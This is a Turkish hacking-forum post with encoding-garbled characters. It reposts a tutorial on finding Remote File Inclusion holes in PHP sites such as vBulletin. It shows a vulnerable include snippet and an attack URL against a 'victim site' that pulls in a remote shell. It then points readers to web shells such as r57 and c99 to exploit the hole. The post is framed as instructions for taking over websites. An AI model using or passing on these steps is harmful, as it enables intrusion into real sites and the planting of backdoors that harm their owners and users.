Total Users Online: 0 üye, 120 guest | Tarih/Saat: 2026-11-10 09:59
 
Sitemde açık varr
2010-12-23 12:26 GMT  Çoklu Alýntý
ers0be

User is: Online status   Gender_M
Posts: 123
Ülke: İzmir - 35
Meslek: PC
Age: 41

standart rfi a??klar? bulma y?ntemleri

--------------------------------------------------------------------------------

RFI a??l?m? olarak Remote File Inclusion'dur yani t?rk?e kar??l??? olarak Uzaktan Dosya Enjekte etmektir ama biz buna hacking aleminde daha ?ok Uzaktan Kod ?a??rma diyoruz..

Mant???na gelince de;

PHP Coderlar?n sayfalar? kodlarken kulland?klar? string (yumak) ve variable (de?i?ken) lerin tam olarak kontrol edilmemesinden dolay? her zaman war olan ve war olmaya devam edecek olan bir g?venlik a????d?r. Neden b?yle s?yleyebiliyorum? ??nk? 2-3 g?n boyunca bir an bile durmaks?z?n kodlama yapan bir coder elinde sonunda bir yerde gerek yorgunluktan gerekse dikkatsizlikten dolay? kodlarda a??k werecektir. Neyse laf? fazla doland?rmadan ?rnek vereyim..

Hepimizin bildi?i ve bu sitede de kullan?lan vBulletin script'ini ele alal?m. ( art? parantez vBulletin'in pop?ler versiyonlar? olan 3.6.x serisinde bugune kadar rfi a???? bulundu?unu duymad?m bilmiyorum. Sadece ?rnek olsun diye bu scripti ele ald?m. )

Nas? bulunur? Kullan?m? nas? olur?

A??k tespit etmek i?in ?ncelikle PHP den orta seviye de anlamam?z gerekiyor. ?imdi ad?m ad?m a??k bulmay? anlatay?m..

?ncelikle a??k bulmak istedi?iniz scriptin kaynak kodlar?n? bilgisayar?n?za download ediyorsunuz. Bu ?rnekte biz vBulletin scriptini indiriyoruz. ve ara?t?rmaya ba?l?yoruz. Mesela " index.php " dosyas?n? ara?t?rmak istiyoruz..

O zaman index.php dosyas?n? bir text edit?r? yard?m? ile a??yoruz ?rn?in Not Defteri.. ve hemen kodlar? incelemeye ba?l?yoruz..

Ara?t?rma kriterlerimiz;

include
include_once
require
require_once

fonksiyonlar?d?r. Hatta bir iyilik daha yapay?m ve bu fonksiyonlar?n PHP ne i?e yarad???n? anlatay?m.. Daha etkili olur..

?imdi bildi?iniz ?zere web-sitelerinde dola?t???n?z her sayfa tek tek s?f?rdan yap?l?r.. ?zellikle HTML site kodland??? zaman her sayfa i?in ayn? kodlar? tekrar tekrar girmek zorunda kal?rs?n?z ama PHP bu y?n?yle ve di?er y?nleriylede HTML den olduk?a ?st?nd?r ve include ve require fonksiyonlar? sayesinde sabit bir sayfay? farkl? ama?larda kullanabiliriz. yani anlatmak istedi?im ?ey mesela bir in?aat ?irketinin sitesini PHP olarak kodluyosunuz ve header dedi?imiz yukar?da yani banner ve ?evresini kapsayan k?s?m anasayfadan tutunda kontak sayfas?na kadar heryerde ayn? de?i?en tek ?ey sadece ortada bulunan yaz?lar?n bulundugu yer.. ?imdi anasayfa ve kontak sayfas? i?in tek tek kodlama yapmaktansa ust.php diye bir kere kodlar?z ve anasayfa.php ye a?a??daki kodu ekleriz;

<?
include_once ($orchid, "ust.php")
?>

daha sonra ayasayfa.php dosyas?n? ?al??t?rd???m?z zaman ust.php nin anasayfa ile b?t?nle?erek ??kt???n? g?r?rs?n?z ve bu kodu her sayfan?z i?in yazarsan?z otomatikmen kolay bi ?ekilde ust.php dosyas?n? istedi?iniz yere ENJEKTE edebilirsiniz.. " Dikkat : ENJEKTE " ?imdi include ve require fonksiyonlar?n?n mant???n? anlad???n?z? varsa***** kald???m?z yere geri d?nelim..

index.php dosyas?n? a?t?n?z ve include, include_once, vb. gibi bir kod g?rd?n?z..

Az ?nceki ?rne?e devam edelim;

<?
include_once ($orchid, "ust.php")
?>

Yukar?da g?rd???n?z PHP kodu bulundugu sayfaya ayn? dizinde bulundugu ust.php dosyas?n? ?a??rmaktad?r. (Dikkat : ?A?IRMAKTADIR ) ?imdi biz ne yapabiliriz bu koda? Hemen d???n?r?zki acaba coder " DOSYA ?A?IRMA " i?levini s?n?rland?rm??m?d?r yani sadece bulundu?u dizinden mi dosya kabul ediyor?? Hemen bi deneme yapar?z.;

index.php dosyas?ndayd?k ve " orchid " parametresini kullanarak ust.php dosyas?n? ?a??ran yukar?da ki kodda a??k ar?yoduk, deneme - yan?lma yapal?m..

kurbansite.com/index.php?orchid=http://SHELL?

Ve girdik.. ?imdi az ?nce UST.PHP nin bulundugu yerde bizim shellimiz war.. B?ylece ilk ad?m? att?k ve a????m?z? bulduk bundan sonra art?k r57, c99, fatalshell, ekin0xshell ne kullan?rsan?z kullan?p buldu?unuz a???? s?m?r?n (exploit = S?m?rmek)

al?nt?...
Konuyla İlgili Diğer Başlıklar
yorumları halka açık yapmak
Seditio Ve Cotonti de Açık
Eklentilerde ufak bir açık
megadonanim.com
Kalamazs?n bu d?nyada bakire, en az?ndan hayat koyar bir kere..

 

Bu konu kilitlidir. Mesaj yazamazsınız.
Powered by Seditio © 2009-2012 All Rights Reserved